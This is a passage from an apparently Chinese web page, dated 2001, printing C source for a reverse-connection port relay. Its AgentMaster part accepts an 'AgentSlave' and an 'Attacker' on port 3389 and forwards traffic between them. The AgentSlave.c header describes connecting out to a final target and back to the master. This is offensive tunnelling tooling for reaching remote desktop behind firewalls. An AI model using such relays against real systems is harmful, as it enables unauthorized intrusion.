while(1) { //wait for AgentSlave to connect iAddrSize=sizeof(Slave); sock[1]=accept(s1981,(struct sockaddr *)&Slave,&iAddrSize); if(sock[1]==INVALID_SOCKET) { printf("\naccept() failed:%d",GetLastError()); break; } printf("\nAccept AgentSlave==〉%s:%d",inet_ntoa(Slave.sin_addr), ntohs(Slave.sin_port)); //wait for Attacker to connect iAddrSize=sizeof(Attack); sock[0]=accept(s3389,(struct sockaddr *)&Attack,&iAddrSize); if(sock[0]==INVALID_SOCKET) { printf("\naccept() failed:%d",GetLastError()); break; } printf("\nAccept Attacker==〉%s:%d",inet_ntoa(Attack.sin_addr), ntohs(Attack.sin_port)); //创建两个线程进行数据转发 hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID); hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID); //等待两个线程结束 WaitForSingleObject(hThreadC2T,INFINITE); CloseHandle(hThreadC2T); CloseHandle(hThreadT2C); closesocket(sock[0]); closesocket(sock[1]); }//end of socket while }//end of try __finally { //clean all if(s3389!=INVALID_SOCKET) closesocket(s3389); if(s1981!=INVALID_SOCKET) closesocket(s1981); if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]); if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]); if(hThreadC2T!=NULL) CloseHandle(hThreadC2T); if(hThreadT2C!=NULL) CloseHandle(hThreadT2C); WSACleanup(); } return 0; } /*********************************************************************************** Module:AgentSlave.c Date:2001/4/17 Copyright(c)eyas HomePage:www.patching.net 说明:这个程序负责连接最终目标,连接主控端,然后转发数据 这里连接到AgenrMaster的socket相当与sClient==〉sock[0], 连接到最终目标的socoket是sTarget==〉sock[1] ***************上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] 下一页 |